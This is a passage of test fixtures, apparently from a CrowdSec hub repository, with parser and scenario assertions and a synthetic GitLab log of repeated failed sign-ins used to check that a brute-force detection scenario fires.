results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "gitea" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-03-01T12:57:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["user"] == "test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-03-01T12:57:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022/03/01 12:57:59" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022/03/01 12:57:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 1.1.1.1:39522: user does not exist [uid: 1, name: test, keyid: 0]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "gitea" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_port"] == "39522" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "gitea" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-03-01T12:57:59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["user"] == "test@example.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "gitea-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "gitea_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-03-01T12:57:59Z" len(results["success"][""]) == 0hub1/.tests/gitea-logs/scenario.assert000066400000000000000000000000001437532772500202230ustar00rootroot00000000000000hub1/.tests/gitlab-bf/000077500000000000000000000000001437532772500150035ustar00rootroot00000000000000hub1/.tests/gitlab-bf/config.yaml000066400000000000000000000004141437532772500171330ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/timokoessler/gitlab-logs.yaml scenarios: - ./scenarios/timokoessler/gitlab-bf.yaml postoverflows: - "" log_file: gitlab-bf.log log_type: gitlab labels: {} ignore_parsers: true hub1/.tests/gitlab-bf/gitlab-bf.log000066400000000000000000000570471437532772500173520ustar00rootroot00000000000000{"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T12:58:36.195Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/1.1.1.1","meta.caller_id":"SessionsController#create","meta.remote_ip":"1.1.1.1","meta.feature_category":"authentication_and_authorization","remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T12:58:39.197Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/1.1.1.1","meta.caller_id":"SessionsController#create","meta.remote_ip":"1.1.1.1","meta.feature_category":"authentication_and_authorization","remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T12:58:41.212Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/1.1.1.1","meta.caller_id":"SessionsController#create","meta.remote_ip":"1.1.1.1","meta.feature_category":"authentication_and_authorization","remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T12:58:45.689Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/1.1.1.1","meta.caller_id":"SessionsController#create","meta.remote_ip":"1.1.1.1","meta.feature_category":"authentication_and_authorization","remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":200,"time":"2022-04-15T12:58:50.060Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"remember_me":"0","otp_attempt":"[FILTERED]"}}],"remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":12,"redis_duration_s":0.002224,"redis_read_bytes":1561,"redis_write_bytes":959,"redis_cache_calls":7,"redis_cache_duration_s":0.001336,"redis_cache_read_bytes":1334,"redis_cache_write_bytes":430,"redis_rate_limiting_calls":4,"redis_rate_limiting_duration_s":0.000692,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":444,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000196,"redis_sessions_read_bytes":220,"redis_sessions_write_bytes":85,"db_count":13,"db_write_count":3,"db_cached_count":2,"db_replica_count":0,"db_primary_count":13,"db_main_count":13,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":2,"db_main_cached_count":2,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.023,"db_main_duration_s":0.023,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009961440227925777,"cpu_s":0.793243,"mem_objects":89022,"mem_bytes":19227752,"mem_mallocs":76488,"mem_total_bytes":22788632,"pid":26842,"correlation_id":"...","db_duration_s":0.06362,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":200,"time":"2022-04-15T12:58:52.054Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"remember_me":"0","otp_attempt":"[FILTERED]"}}],"remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":12,"redis_duration_s":0.002224,"redis_read_bytes":1561,"redis_write_bytes":959,"redis_cache_calls":7,"redis_cache_duration_s":0.001336,"redis_cache_read_bytes":1334,"redis_cache_write_bytes":430,"redis_rate_limiting_calls":4,"redis_rate_limiting_duration_s":0.000692,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":444,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000196,"redis_sessions_read_bytes":220,"redis_sessions_write_bytes":85,"db_count":13,"db_write_count":3,"db_cached_count":2,"db_replica_count":0,"db_primary_count":13,"db_main_count":13,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":2,"db_main_cached_count":2,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.023,"db_main_duration_s":0.023,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009961440227925777,"cpu_s":0.793243,"mem_objects":89022,"mem_bytes":19227752,"mem_mallocs":76488,"mem_total_bytes":22788632,"pid":26842,"correlation_id":"...","db_duration_s":0.06362,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T13:44:36.132Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test1","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/8.8.8.8","meta.caller_id":"SessionsController#create","meta.remote_ip":"8.8.8.8","meta.feature_category":"authentication_and_authorization","remote_ip":"8.8.8.8","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T13:44:40.289Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test2","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/8.8.8.8","meta.caller_id":"SessionsController#create","meta.remote_ip":"8.8.8.8","meta.feature_category":"authentication_and_authorization","remote_ip":"8.8.8.8","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T13:44:42.369Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test3","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/8.8.8.8","meta.caller_id":"SessionsController#create","meta.remote_ip":"8.8.8.8","meta.feature_category":"authentication_and_authorization","remote_ip":"8.8.8.8","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T13:44:55.149Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test4","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/8.8.8.8","meta.caller_id":"SessionsController#create","meta.remote_ip":"8.8.8.8","meta.feature_category":"authentication_and_authorization","remote_ip":"8.8.8.8","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T13:44:59.813Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test5","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/8.8.8.8","meta.caller_id":"SessionsController#create","meta.remote_ip":"8.8.8.8","meta.feature_category":"authentication_and_authorization","remote_ip":"8.8.8.8","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T13:45:02.293Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test6","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/8.8.8.8","meta.caller_id":"SessionsController#create","meta.remote_ip":"8.8.8.8","meta.feature_category":"authentication_and_authorization","remote_ip":"8.8.8.8","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291}hub1/.tests/gitlab-bf/parser.assert000066400000000000000000000000001437532772500175100ustar00rootroot00000000000000hub1/.tests/gitlab-bf/scenario.assert000066400000000000000000000157061437532772500200420ustar00rootroot00000000000000len(results) == 2 "8.8.8.8" in results[0].Overflow.GetSources() results[0].Overflow.Sources["8.8.8.8"].IP == "8.8.8.8" results[0].Overflow.Sources["8.8.8.8"].Range == "" results[0].Overflow.Sources["8.8.8.8"].GetScope() == "Ip" results[0].Overflow.Sources["8.8.8.8"].GetValue() == "8.8.8.8" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitlab-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "gitlab_failed_password" results[0].Overflow.Alert.Events[0].GetMeta("service") == "gitlab" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "8.8.8.8" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-15T13:44:36.132Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "test1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitlab-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "gitlab_failed_password" results[0].Overflow.Alert.Events[1].GetMeta("service") == "gitlab" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "8.8.8.8" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-04-15T13:44:40.289Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "test2" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitlab-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "gitlab_failed_password" results[0].Overflow.Alert.Events[2].GetMeta("service") == "gitlab" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "8.8.8.8" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-04-15T13:44:42.369Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "test3" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitlab-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "gitlab_failed_password" results[0].Overflow.Alert.Events[3].GetMeta("service") == "gitlab" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "8.8.8.8" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-04-15T13:44:55.149Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "test4" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == 